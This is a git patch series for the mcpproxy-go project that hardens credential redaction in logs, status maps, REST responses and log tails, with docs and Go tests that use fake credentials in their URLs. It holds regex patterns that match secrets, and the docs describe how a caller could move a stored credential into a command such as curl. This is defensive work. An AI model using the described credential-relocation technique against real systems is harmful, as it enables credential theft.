Routed through a new Client.logSafeURL, matching core.Client and HTTPTransportConfig. - transport/retry_after.go rendered the request URL with the stdlib's url.URL.Redacted() on every 429/503-with-a-hint, at Info. That masks ONLY the userinfo password and leaves `?token=…` verbatim. Uses the project's own redactor now. - oauth.RedactURL had no `user:pass@` rule at all. It is the fallback RedactURLQueryParams takes when url.Parse FAILS — i.e. exactly the URL a connection error is being logged about — so every logSafeURL() call site in three packages leaked the basic-auth password down that path. The userinfo masking is factored out of RedactSensitiveData and shared, so the two scrubbers cannot drift. - The two OAuth client-creation failures and the SSE stream-read failure in internal/transport logged their error bare; mcp-go builds the first two from url.Parse and *url.Error quotes the raw URL it was handed. They use logSafeErrorField now. - upstream/manager.go GetStats put the raw cfg.URL and last_error into the per-server status map. Round 3 deferred this as out of scope; deciding it now: the map is served verbatim as `upstream_stats` on /api/v1/status, on the /api/v1/servers response and on every SSE `status` event, alongside a server list that httpapi.redactServerSecrets and Runtime.redactServerSecrets already mask — so one half of a single payload was masked and the other was not. Both fields are masked here, honouring the same reveal_secret_headers opt-out. Explicitly out of scope, with evidence: the registry-source URLs in internal/server (list_registries, add/edit/remove_registry_source). A config.RegistryEntry carries no credential — `requires_key` marks a registry whose key is configured elsewhere — and the URL is the identity of the catalog. Docs: docs/configuration/upstream-servers.md still described the argv revert that round 3 deleted, so an operator would expect a masked args_json echo to round-trip safely when it now returns a hard error. The binding table and the prose state the new contract: argv masks are REFUSED, resend the real value or omit args_json. No other page repeats the old claim. --- docs/configuration/upstream-servers.md | 41 ++++++--- internal/oauth/logging.go | 37 +++++--- internal/oauth/redact_hardening_test.go | 36 ++++++++ internal/transport/http.go | 7 +- internal/transport/http_url_redact_test.go | 85 +++++++++++++++++++ internal/transport/logging.go | 4 +- internal/transport/retry_after.go | 8 +- internal/upstream/managed/client.go | 21 ++++- .../managed/client_url_redact_test.go | 54 ++++++++++++ internal/upstream/manager.go | 28 +++++- internal/upstream/manager_url_redact_test.go | 77 +++++++++++++++++ 11 files changed, 371 insertions(+), 27 deletions(-) create mode 100644 internal/upstream/managed/client_url_redact_test.go diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index 7033c5a06..f583dac32 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -162,27 +162,46 @@ Argument vectors are masked too: a credential passed as `--api-key sk-…` in the same issue — by URL shape in every spelling (`--flag `, `--flag=` and a bare positional token all mask `?token=…` and `https://user:pass@host`). -A masked value echoed back on the write path is reverted to the stored value -rather than persisted over it, and every revert is **bound to where the value -was read from**: +For the **keyed** fields, a masked value echoed back on the write path is +reverted to the stored value rather than persisted over it, and every revert is +**bound to where the value was read from**: | Field | Bound by | |-------|----------| | `env_json` / `headers_json` | the map key | | `url` | the stored scheme, host:port and username | | `oauth_json` → `client_secret` | the field | -| `args_json` | the **index**, plus the flag that preceded it | +| `args_json` | *nothing — an argv mask is **refused**, never reverted* | -The argv binding matters: `args_json` replaces the whole vector and the caller -also chooses `command`, so a revert matched by value alone would let a caller -move a stored credential into a command line of its own choosing — or into a -positional slot the read path does not mask, and read it back in the clear. A -reordered or resized vector therefore does **not** round-trip its masks; resend -the real values, or omit `args_json` when you are not changing the arguments. +**`args_json` is different: an echoed mask is rejected with an error, not +restored.** An argv token has no key to bind a secret to — only its index and +its neighbours — and `args_json` replaces the whole vector while the same patch +also chooses `command`. Every candidate binding is therefore caller-controlled: +an index can be picked, a preceding flag copied verbatim, and a byte-identical +argv means nothing once `command` moves from `mcp-foo` to `curl`. Any revert +rule would let a caller relocate a stored credential into a command line of its +own choosing. + +So a write whose `args_json` still carries a mask this proxy rendered fails +with: + +``` +args_json[2] is a redaction placeholder, not an argument value: credential-shaped +argv tokens are masked on read and are never restored on write, because an argv +slot carries no key to bind the secret to. Resend the real value for that +argument, or omit args_json to leave the stored arguments unchanged +``` + +Do not build a read-modify-write loop that feeds a masked `args` list back in: +**resend the real values**, or omit `args_json` entirely when you are not +changing the arguments (omitting it leaves the stored vector untouched). +Rejecting is deliberate rather than silently keeping the stored vector — +`args_json` replaces the vector, so ignoring it would make the write look +applied when it was not. The argv mask is a rendering of the **MCP** read surface. The REST API returns `args` unredacted and accepts it unchanged, so REST reads and writes remain -self-consistent; only the MCP write path reverts an MCP-rendered mask. +self-consistent; only the MCP write path refuses an MCP-rendered mask. ### How you edit them diff --git a/internal/oauth/logging.go b/internal/oauth/logging.go index 7b3779c1e..226e0e961 100644 --- a/internal/oauth/logging.go +++ b/internal/oauth/logging.go @@ -135,15 +135,12 @@ var secretPattern = regexp.MustCompile(`(?i)(secret|password|token|key)["']?\s*[ // credential failed, and it is not the secret. var urlUserinfoPattern = regexp.MustCompile(`([a-zA-Z][a-zA-Z0-9+.\-]*://)([^\s/:@]+):([^\s/@]+)@`) -// RedactSensitiveData redacts sensitive information from a string. -// It replaces tokens, secrets, and other sensitive data with redacted placeholders. -func RedactSensitiveData(data string) string { - if data == "" { - return data - } - - // Redact URL userinfo passwords (scheme://user:pass@host). - result := urlUserinfoPattern.ReplaceAllStringFunc(data, func(match string) string { +// redactURLUserinfo masks the password half of every `scheme://user:pass@` +// prefix in s, keeping the username. Shared by RedactSensitiveData (free-form +// text) and RedactURL (the parse-failure fallback) so the two cannot disagree +// about whether a basic-auth password is a secret. +func redactURLUserinfo(s string) string { + return urlUserinfoPattern.ReplaceAllStringFunc(s, func(match string) string { groups := urlUserinfoPattern.FindStringSubmatch(match) if len(groups) != 4 { return match @@ -155,6 +152,17 @@ func RedactSensitiveData(data string) string { } return groups[1] + groups[2] + ":***REDACTED***@" }) +} + +// RedactSensitiveData redacts sensitive information from a string. +// It replaces tokens, secrets, and other sensitive data with redacted placeholders. +func RedactSensitiveData(data string) string { + if data == "" { + return data + } + + // Redact URL userinfo passwords (scheme://user:pass@host). + result := redactURLUserinfo(data) // Redact Bearer tokens result = tokenPattern.ReplaceAllString(result, "${1}***REDACTED***") @@ -736,12 +744,21 @@ func unmaskMapValues(incoming, stored map[string]string, rendered func(k, v stri } // RedactURL redacts sensitive query parameters from a URL string. +// +// Issue #1148, round 4: this is not only a standalone helper — it is the +// fallback RedactURLQueryParams takes when url.Parse FAILS, and a URL that +// fails to parse is precisely the URL a connection error is being logged +// about. It masked the query params but had no `user:pass@` rule, so the +// basic-auth password survived every logSafeURL() site in +// internal/upstream/core, internal/upstream/managed and internal/transport +// whenever the configured URL was malformed. Reuse RedactSensitiveData's +// urlUserinfoPattern so the two scrubbers cannot drift apart. func RedactURL(urlStr string) string { if urlStr == "" { return urlStr } - result := urlStr + result := redactURLUserinfo(urlStr) for _, param := range sensitiveParams { pattern := regexp.MustCompile(`(?i)(` + param + `=)[^&]+`) result = pattern.ReplaceAllString(result, "${1}***REDACTED***") diff --git a/internal/oauth/redact_hardening_test.go b/internal/oauth/redact_hardening_test.go index ae4aa1f98..23d69782e 100644 --- a/internal/oauth/redact_hardening_test.go +++ b/internal/oauth/redact_hardening_test.go @@ -349,3 +349,39 @@ func TestUnmaskEnvValues_URLValue_HostEditDoesNotRestorePassword(t *testing.T) { assert.NotContains(t, got["DATABASE_URL"], "realdbpassword", "password must not be moved to a different host") } + +// TestRedactURL_MasksUserinfoPassword covers issue #1148, round 4 (final +// sweep). RedactURL is the regex fallback RedactURLQueryParams takes whenever +// url.Parse fails — and a URL that fails to parse is exactly the URL a +// connection error is being logged about. It masked the sensitive QUERY params +// but had no `user:pass@` rule at all, so every logSafeURL() call site in +// internal/upstream/core, internal/upstream/managed and internal/transport +// leaked the basic-auth password down that fallback path. +// +// RedactSensitiveData has masked userinfo since round 2 (urlUserinfoPattern); +// this brings its sibling to the same contract. The username is kept, as +// everywhere else: it says WHICH credential, and is not itself the secret. +func TestRedactURL_MasksUserinfoPassword(t *testing.T) { + // The DEL byte is what makes url.Parse fail, which is how a real caller + // reaches this function through RedactURLQueryParams. + raw := "https://alice:hunter2phrase@host/mcp?token=urlsecret999&debug=1\x7f" + + for name, got := range map[string]string{ + "RedactURL": RedactURL(raw), + "RedactURLQueryParams": RedactURLQueryParams(raw), + } { + assert.NotContains(t, got, "hunter2phrase", "%s must mask the userinfo password", name) + assert.NotContains(t, got, "urlsecret999", "%s must mask the query credential", name) + assert.Contains(t, got, "alice", "%s must keep the username", name) + assert.Contains(t, got, "host/mcp", "%s must keep host and path", name) + assert.Contains(t, got, "debug=1", "%s must keep non-sensitive parameters", name) + } + + // A ${keyring:…}/${env:…} reference is a label, not a secret — same carve-out + // RedactSensitiveData makes. + ref := RedactURL("https://alice:${keyring:UPSTREAM_PW}@host/mcp\x7f") + assert.Contains(t, ref, "${keyring:UPSTREAM_PW}", "config references are labels, not secrets") + + assert.Equal(t, "", RedactURL("")) + assert.Equal(t, "https://host/mcp", RedactURL("https://host/mcp"), "a clean URL is untouched") +} diff --git a/internal/transport/http.go b/internal/transport/http.go index b9b29f8d6..8eeda308a 100644 --- a/internal/transport/http.go +++ b/internal/transport/http.go @@ -248,7 +248,9 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { client, err := client.NewOAuthStreamableHttpClient(cfg.URL, *cfg.OAuthConfig, oauthOpts...) if err != nil { - logger.Error("Failed to create OAuth client", zap.Error(err)) + // #1148 round 4: mcp-go builds this error from url.Parse, and + // *url.Error quotes the raw URL it was handed. + logger.Error("Failed to create OAuth client", logSafeErrorField(err)) return nil, fmt.Errorf("failed to create OAuth client: %w", err) } @@ -361,7 +363,8 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { client, err := client.NewOAuthSSEClient(cfg.URL, *cfg.OAuthConfig, oauthOpts...) if err != nil { - logger.Error("Failed to create OAuth SSE client", zap.Error(err)) + // #1148 round 4: see the streamable-HTTP twin above. + logger.Error("Failed to create OAuth SSE client", logSafeErrorField(err)) return nil, fmt.Errorf("failed to create OAuth SSE client: %w", err) } diff --git a/internal/transport/http_url_redact_test.go b/internal/transport/http_url_redact_test.go index 524c12750..fb57a8b99 100644 --- a/internal/transport/http_url_redact_test.go +++ b/internal/transport/http_url_redact_test.go @@ -2,9 +2,14 @@ package transport import ( "errors" + "fmt" + "net/http" + "net/http/httptest" + "net/url" "strings" "testing" + "github.com/mark3labs/mcp-go/client" "github.com/stretchr/testify/assert" "go.uber.org/zap" "go.uber.org/zap/zapcore" @@ -63,3 +68,83 @@ func TestLogSafeErrorField_RedactsURLCredentials(t *testing.T) { assert.Contains(t, field.String, "connection refused", "the diagnostic part must survive") assert.Equal(t, zapcore.SkipType, logSafeErrorField(nil).Type, "a nil error contributes no field") } + +// TestRetryAfterTransport_DoesNotLogRawURLCredentials covers issue #1148 round +// 4: the back-off log line rendered the request URL through the stdlib's +// url.URL.Redacted(), which masks ONLY the userinfo password and leaves a +// `?token=…` query credential verbatim. +func TestRetryAfterTransport_DoesNotLogRawURLCredentials(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Retry-After", "30") + w.WriteHeader(http.StatusTooManyRequests) + })) + defer srv.Close() + + rec := NewRetryAfterRecorder() + client := &http.Client{Transport: NewRetryAfterTransport(http.DefaultTransport, rec, zap.New(core))} + + req, err := http.NewRequest(http.MethodGet, srv.URL+"/mcp?token=urlsecret999&debug=1", http.NoBody) + assert.NoError(t, err) + req.URL.User = url.UserPassword("alice", "hunter2phrase") + + resp, err := client.Do(req) + assert.NoError(t, err) + defer resp.Body.Close() + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + assert.Contains(t, b.String(), "back off", "precondition: the back-off line was emitted") + assert.NotContains(t, b.String(), "urlsecret999", "the query credential must not reach the log") + assert.NotContains(t, b.String(), "hunter2phrase", "the userinfo password must not reach the log") + assert.Contains(t, b.String(), "debug=1", "non-sensitive parameters must stay readable") +} + +// TestCreateOAuthClient_DoesNotLogRawURLThroughTheError is the last sweep site +// in internal/transport (issue #1148, round 4): the two OAuth client-creation +// failures logged the constructor error with a bare zap.Error. mcp-go builds +// that error from url.Parse, and net/url's *url.Error quotes the raw URL it was +// handed — so a malformed URL carrying a credential wrote it to the log even +// though the sibling `url` fields on the very same function are masked. +func TestCreateOAuthClient_DoesNotLogRawURLThroughTheError(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + restore := zap.ReplaceGlobals(zap.New(core)) + defer restore() + + // A DEL control byte makes url.Parse fail while the credentials stay in the + // string the error quotes back. + bad := "https://alice:hunter2phrase@host/mcp?token=urlsecret999\x7f" + + _, err := CreateHTTPClient(&HTTPTransportConfig{ + URL: bad, + UseOAuth: true, + OAuthConfig: &client.OAuthConfig{}, + }) + assert.Error(t, err, "precondition: the malformed URL must fail construction") + + rendered := renderEntries(logs.All()) + assert.Contains(t, rendered, "Failed to create OAuth client", "precondition: the site under test ran") + assert.NotContains(t, rendered, "urlsecret999") + assert.NotContains(t, rendered, "hunter2phrase") +} + +// renderEntries flattens observed entries INCLUDING the non-string fields, so a +// credential riding inside a zap.Error cannot slip past the assertion. +func renderEntries(entries []observer.LoggedEntry) string { + var b strings.Builder + for _, entry := range entries { + b.WriteString(entry.Message) + b.WriteString(" ") + b.WriteString(fmt.Sprint(entry.ContextMap())) + b.WriteString("\n") + } + return b.String() +} diff --git a/internal/transport/logging.go b/internal/transport/logging.go index f99b9ad53..fa3c39316 100644 --- a/internal/transport/logging.go +++ b/internal/transport/logging.go @@ -196,7 +196,9 @@ func (lr *loggingReader) readSSEFramesFromPipe(pr *io.PipeReader) { } if err := scanner.Err(); err != nil { - lr.logger.Error("❌ SSE STREAM ERROR", zap.Error(err)) + // #1148 round 4: a stream read can fail with a *url.Error that quotes + // the request URL, credentials and all. + lr.logger.Error("❌ SSE STREAM ERROR", logSafeErrorField(err)) } lr.logger.Info("🔴 SSE STREAM CLOSED", diff --git a/internal/transport/retry_after.go b/internal/transport/retry_after.go index cbfaa8eb0..250b16b9f 100644 --- a/internal/transport/retry_after.go +++ b/internal/transport/retry_after.go @@ -8,6 +8,8 @@ import ( "time" "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" ) // MaxRetryAfterDelay caps how long an upstream-supplied Retry-After may park a @@ -185,7 +187,11 @@ func (t *RetryAfterTransport) RoundTrip(req *http.Request) (*http.Response, erro if !deadline.IsZero() { t.logger.Info("Upstream asked us to back off", zap.Int("status", resp.StatusCode), - zap.String("url", req.URL.Redacted()), + // Issue #1148, round 4: url.URL.Redacted() masks ONLY the userinfo + // password — it leaves `?token=…` in the query verbatim, and this + // line fires at Info on every 429/503-with-a-hint. Route it through + // the project's own redactor, which masks both. + zap.String("url", oauth.RedactURLQueryParams(req.URL.String())), zap.Duration("retry_after", delay), zap.Time("retry_not_before", deadline)) } diff --git a/internal/upstream/managed/client.go b/internal/upstream/managed/client.go index 2cd76e77e..696ca9516 100644 --- a/internal/upstream/managed/client.go +++ b/internal/upstream/managed/client.go @@ -10,6 +10,7 @@ import ( "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/secret" "github.com/smart-mcp-proxy/mcpproxy-go/internal/storage" "github.com/smart-mcp-proxy/mcpproxy-go/internal/transport" @@ -1052,6 +1053,24 @@ func (mc *Client) cancelInFlightConnect() { cancel() } +// logSafeURL renders the configured upstream URL for a LOG FIELD, with its +// credential-bearing query parameters and any userinfo password masked. +// +// Issue #1148, round 4: the deprecated-endpoint branch of onStateChange below +// logged mc.GetConfig().URL verbatim, at Error level — the exact twin of the +// connection_oauth.go site round 3 fixed, and it fires on every 410 Gone from a +// server whose URL carries `?token=…`. The line goes to main.log and to the +// per-server log, and `upstream_servers tail_log` hands the latter to any MCP +// caller. Scheme, host, path and non-sensitive parameters survive, so the +// "your URL needs updating" advice stays actionable. +func (mc *Client) logSafeURL() string { + cfg := mc.GetConfig() + if cfg == nil { + return "" + } + return oauth.RedactURLQueryParams(cfg.URL) +} + // onStateChange handles state transition events func (mc *Client) onStateChange(oldState, newState types.ConnectionState, info *types.ConnectionInfo) { mc.logger.Info("State transition", @@ -1065,7 +1084,7 @@ func (mc *Client) onStateChange(oldState, newState types.ConnectionState, info * if mc.isDeprecatedEndpointError(info.LastError) { mc.logger.Error("⚠️ ENDPOINT DEPRECATED: Server URL needs to be updated", zap.String("server", mc.GetConfig().Name), - zap.String("current_url", mc.GetConfig().URL), + zap.String("current_url", mc.logSafeURL()), zap.String("error_type", "endpoint_deprecated"), zap.String("action", "Update the server URL in your configuration"), zap.String("hint", "The server may have migrated from /sse to /mcp - check the server's documentation"), diff --git a/internal/upstream/managed/client_url_redact_test.go b/internal/upstream/managed/client_url_redact_test.go new file mode 100644 index 000000000..a11dfa4a6 --- /dev/null +++ b/internal/upstream/managed/client_url_redact_test.go @@ -0,0 +1,54 @@ +package managed + +import ( + "errors" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "go.uber.org/zap/zaptest/observer" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/upstream/types" +) + +// TestOnStateChange_DeprecatedEndpointDoesNotLogRawURL covers issue #1148 +// round 4: the deprecated-endpoint branch of onStateChange logged the raw +// configured upstream URL as `current_url` at ERROR level — the exact twin of +// the connection_oauth.go site that round 3 fixed. A 410 Gone from a server +// whose URL carries `?token=…` (or basic-auth userinfo) wrote the credential +// straight into main.log and the per-server log, which +// `upstream_servers tail_log` hands back to any MCP caller. +func TestOnStateChange_DeprecatedEndpointDoesNotLogRawURL(t *testing.T) { + obsCore, logs := observer.New(zapcore.DebugLevel) + + mc := &Client{logger: zap.New(obsCore)} + mc.SetConfig(&config.ServerConfig{ + Name: "deprecated-server", + URL: "https://alice:hunter2phrase@host/sse?token=urlsecret999&debug=1", + }) + mc.StateManager = types.NewStateManager() + + mc.onStateChange(types.StateConnecting, types.StateError, &types.ConnectionInfo{ + State: types.StateError, + LastError: errors.New("410 Gone: this endpoint has been deprecated"), + }) + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + + assert.Contains(t, b.String(), "ENDPOINT DEPRECATED", "precondition: the deprecated-endpoint branch ran") + assert.NotContains(t, b.String(), "urlsecret999", "the query credential must not reach the log") + assert.NotContains(t, b.String(), "hunter2phrase", "the userinfo password must not reach the log") + assert.Contains(t, b.String(), "host/sse", "host and path must stay readable") + assert.Contains(t, b.String(), "debug=1", "non-sensitive parameters must stay readable") +} diff --git a/internal/upstream/manager.go b/internal/upstream/manager.go index 9f4ea3ee8..2743e3caf 100644 --- a/internal/upstream/manager.go +++ b/internal/upstream/manager.go @@ -1688,7 +1688,22 @@ func (m *Manager) HasDockerContainers() bool { // GetStats returns statistics about upstream connections // GetStats returns statistics about all managed clients. // Phase 6 Fix: Lock-free implementation to prevent deadlock with async operations. +// +// Issue #1148, round 4: this map is not an internal counter — it is served +// verbatim as `upstream_stats` on GET /api/v1/status, on the /api/v1/servers +// response, and on every SSE `status` event, and it is what the tray renders. +// Its per-server entries therefore sit behind the same trust boundary as the +// server list on those same payloads, which httpapi.redactServerSecrets and +// Runtime.redactServerSecrets already mask. Leaving `url` and `last_error` raw +// here meant one half of a single response was masked and the other half was +// not. Mask them at the point they are written, honouring the same +// reveal_secret_headers opt-out the two sibling redactors honour. func (m *Manager) GetStats() map[string]interface{} { + revealSecrets := false + if gc := m.globalConfig.Load(); gc != nil { + revealSecrets = gc.RevealSecretHeaders + } + // Phase 6: Copy client references while holding lock briefly m.mu.RLock() clientsCopy := make(map[string]*managed.Client, len(m.clients)) @@ -1723,6 +1738,10 @@ func (m *Manager) GetStats() map[string]interface{} { } } + if !revealSecrets { + url = oauth.RedactURLQueryParams(url) + } + status := map[string]interface{}{ "state": connectionInfo.State.String(), "connected": connectionInfo.State == types.StateReady, @@ -1747,7 +1766,14 @@ func (m *Manager) GetStats() map[string]interface{} { } if connectionInfo.LastError != nil { - status["last_error"] = connectionInfo.LastError.Error() + lastError := connectionInfo.LastError.Error() + if !revealSecrets { + // A transport error quotes the request URL inside its own + // message (`Post "https://host/mcp?token=…": dial tcp …`), so + // masking the `url` key alone would not close this. + lastError = oauth.RedactSensitiveData(lastError) + } + status["last_error"] = lastError } if connectionInfo.ServerName != "" { diff --git a/internal/upstream/manager_url_redact_test.go b/internal/upstream/manager_url_redact_test.go index 2c39e817c..020ba7771 100644 --- a/internal/upstream/manager_url_redact_test.go +++ b/internal/upstream/manager_url_redact_test.go @@ -84,3 +84,80 @@ func hasEntryContaining(entries []observer.LoggedEntry, msg string) bool { } return false } + +// TestGetStats_MasksURLAndErrorCredentials covers issue #1148 round 4. +// +// GetStats builds the per-server status map that /api/v1/status, /api/v1/servers +// and the SSE `status` event all serve verbatim as `upstream_stats`, and it put +// cfg.URL in raw. The sibling surfaces on the very same responses — +// httpapi.redactServerSecrets and Runtime.redactServerSecrets — already mask +// exactly these fields, so half of one payload was masked and half was not. +func TestGetStats_MasksURLAndErrorCredentials(t *testing.T) { + const urlSecret = "urlsecret999" + + logger := zap.NewNop() + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + URL: "https://alice:hunter2phrase@host/mcp?token=" + urlSecret + "&debug=1", + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + manager.globalConfig.Store(&config.Config{}) + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + stats := manager.GetStats() + rendered := fmt.Sprint(stats) + + assert.Contains(t, rendered, "host/mcp", "precondition: the status map carries the URL") + assert.NotContains(t, rendered, urlSecret, "the query credential must not reach the status map") + assert.NotContains(t, rendered, "hunter2phrase", "the userinfo password must not reach the status map") + assert.Contains(t, rendered, "debug=1", "non-sensitive parameters must stay readable") +} + +// TestGetStats_RevealSecretHeadersOptOut mirrors the escape hatch the two +// sibling redactors honour, so a user who has deliberately opted in still sees +// the real URL on every surface rather than only some of them. +func TestGetStats_RevealSecretHeadersOptOut(t *testing.T) { + const urlSecret = "urlsecret999" + + logger := zap.NewNop() + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + URL: "https://host/mcp?token=" + urlSecret, + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + manager.globalConfig.Store(&config.Config{RevealSecretHeaders: true}) + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + assert.Contains(t, fmt.Sprint(manager.GetStats()), urlSecret, + "reveal_secret_headers:true must expose the real URL, as it does on /api/v1/servers") +} From 1659edf25667eff0de72a18882aa9825ef677838 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 10:15:54 +0300 Subject: [PATCH 05/10] fix(security): bind or refuse every mask on the write path, and close the REST twins MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round 4 of the #1148 review. Two of the four are corruption paths the earlier rounds of this branch created: a field newly MASKED on a read surface with no matching, key-bound revert on the write path lets a read-modify-write client persist the MASK STRING over the real credential. 1. oauth_json REPLACES the whole oauth block, but unmaskLiveOAuth reverted only client_secret. extra_params routinely holds an RFC 8707 resource indicator with a signed URL (masked by the URL rule) and any leaf can be masked by the value-shaped detector. Per field: client_secret / client_id / redirect_uri are REVERTED bound to the field name, extra_params is REVERTED bound to the parameter name, and scopes — whose only context is a position in a caller-supplied slice, the same non-binding an argv token has — is REFUSED. The residual check walks the whole block, so a field added to config.OAuthConfig later fails closed instead of round-tripping its own mask. 2. Editing a URL persisted a detector mask. For https://host/old?opaque=ghp_… the live detector masks the value; changing /old to /new defeats the whole-URL comparison and oauth.UnmaskURL ignores the unrecognised parameter. The revert is now per PARAMETER, bound to the parameter name and the stored scheme/host and to nothing else, so it survives an unrelated edit; anything it cannot bind (a moved authority, a credential outside the query string) is refused rather than written through. 3. GET /api/v1/servers returned args and oauth.extra_params in plaintext while the MCP surface masked exactly those. Both are masked now, and REST writes stay self-consistent with the argv contract this branch established: POST and PATCH refuse an echoed args mask with 400 rather than reverting it (the oauth block is read-only over REST, so it needs no write-path answer). The redaction rules move to internal/oauth, and the per-server field list to oauth.RedactServerSecretFields. That is the actual root cause of the half-done shape: internal/httpapi sits below internal/server in the import graph, and the REST handler and the /events SSE emitter each carried their own hand-copied field list. Three doors, one implementation now. 4. GET /api/v1/servers/{id}/logs served stored child-process and connection log lines without the scrubbing tail_log got. Scrubbed where a raw line becomes a LogEntry, so every reader of GetServerLogs is covered rather than one handler. Out of scope by maintainer direction, filed separately: the trace-mode transport logging, raw argv logging in the launcher/docker paths, raw URL logging in OAuth discovery, and the structured OAuth failure responses. --- docs/api/rest-api.md | 16 + docs/configuration/upstream-servers.md | 22 +- internal/httpapi/redact_args_oauth_test.go | 72 ++++ internal/httpapi/server.go | 56 +-- internal/oauth/redactview.go | 377 ++++++++++++++++++ internal/oauth/serverfields.go | 81 ++++ internal/runtime/event_bus.go | 38 +- internal/server/mcp.go | 12 +- internal/server/mcp_activity_args.go | 244 ++---------- .../mcp_secret_redaction_hardening_test.go | 6 +- .../mcp_secret_redaction_round4_test.go | 164 ++++++++ internal/server/mcp_server_view.go | 232 ++++++----- internal/server/server.go | 11 +- 13 files changed, 971 insertions(+), 360 deletions(-) create mode 100644 internal/httpapi/redact_args_oauth_test.go create mode 100644 internal/oauth/redactview.go create mode 100644 internal/oauth/serverfields.go create mode 100644 internal/server/mcp_secret_redaction_round4_test.go diff --git a/docs/api/rest-api.md b/docs/api/rest-api.md index dd4d17dd4..253c10f79 100644 --- a/docs/api/rest-api.md +++ b/docs/api/rest-api.md @@ -157,6 +157,22 @@ On the MCP channel the flag also requires an **authenticated** caller compatibility, and gets the masked values regardless of the flag. The REST API always requires an API key, so it is unaffected. +Redaction is not limited to headers. The same responses — and the `/events` +SSE `servers.changed` payloads, which go through the identical redactor — also +mask env values, URL query credentials, `oauth.extra_params` and +credential-shaped **argv tokens** (`--api-key sk-…`, `--endpoint=ghp_…`), using +one shared rule set so the REST, SSE and MCP doors cannot drift. Two +consequences for clients: + +- `POST` / `PATCH /api/v1/servers` **reject** an `args` array that still carries + a mask with `400`. An argv slot has no key to bind a stored secret to, so an + echoed mask is refused rather than reverted — resend the real values, or omit + `args` to leave the stored vector unchanged. See + [Upstream servers](../configuration/upstream-servers.md#how-you-edit-them). +- `GET /api/v1/servers/{id}/logs` scrubs credentials out of the returned log + lines (mcpproxy logs the upstream URL with its query string, and a child MCP + server may print its own API key), matching the MCP `tail_log` operation. + The MCP `upstream_servers` tool was the original motivator for redaction (see [PR #425](https://github.com/smart-mcp-proxy/mcpproxy-go/pull/425)) — a prompt-injected agent could otherwise read another upstream's PAT via diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index f583dac32..52aa50673 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -169,10 +169,19 @@ reverted to the stored value rather than persisted over it, and every revert is | Field | Bound by | |-------|----------| | `env_json` / `headers_json` | the map key | -| `url` | the stored scheme, host:port and username | -| `oauth_json` → `client_secret` | the field | +| `url` | the stored scheme and host:port (per query parameter, and the userinfo username) | +| `oauth_json` → `client_secret`, `client_id`, `redirect_uri` | the field | +| `oauth_json` → `extra_params` | the parameter name | +| `oauth_json` → `scopes`, and any future oauth field | *nothing — **refused**, never reverted* | | `args_json` | *nothing — an argv mask is **refused**, never reverted* | +A mask that none of those bindings can reach is refused rather than written +through. For `url` that covers a URL whose scheme/host changed and a credential +that does not sit in a query parameter; for `oauth_json` it covers a scope (its +only context is a position in a caller-supplied slice) and any field added to +the oauth block later, which fails closed instead of silently persisting its own +mask. + **`args_json` is different: an echoed mask is rejected with an error, not restored.** An argv token has no key to bind a secret to — only its index and its neighbours — and `args_json` replaces the whole vector while the same patch @@ -199,9 +208,12 @@ Rejecting is deliberate rather than silently keeping the stored vector — `args_json` replaces the vector, so ignoring it would make the write look applied when it was not. -The argv mask is a rendering of the **MCP** read surface. The REST API returns -`args` unredacted and accepts it unchanged, so REST reads and writes remain -self-consistent; only the MCP write path refuses an MCP-rendered mask. +The same contract applies on REST. `GET /api/v1/servers` masks `args` and +`oauth.extra_params` with the same rules (they are one shared implementation in +`internal/oauth`, so the two doors cannot drift), and `POST`/`PATCH +/api/v1/servers` refuse an echoed `args` mask with `400` for the same reason the +MCP path does — `args` replaces the vector there too. The `oauth` block is +read-only over REST, so no REST write can echo its mask back. ### How you edit them diff --git a/internal/httpapi/redact_args_oauth_test.go b/internal/httpapi/redact_args_oauth_test.go new file mode 100644 index 000000000..f7ae2fc03 --- /dev/null +++ b/internal/httpapi/redact_args_oauth_test.go @@ -0,0 +1,72 @@ +package httpapi + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + 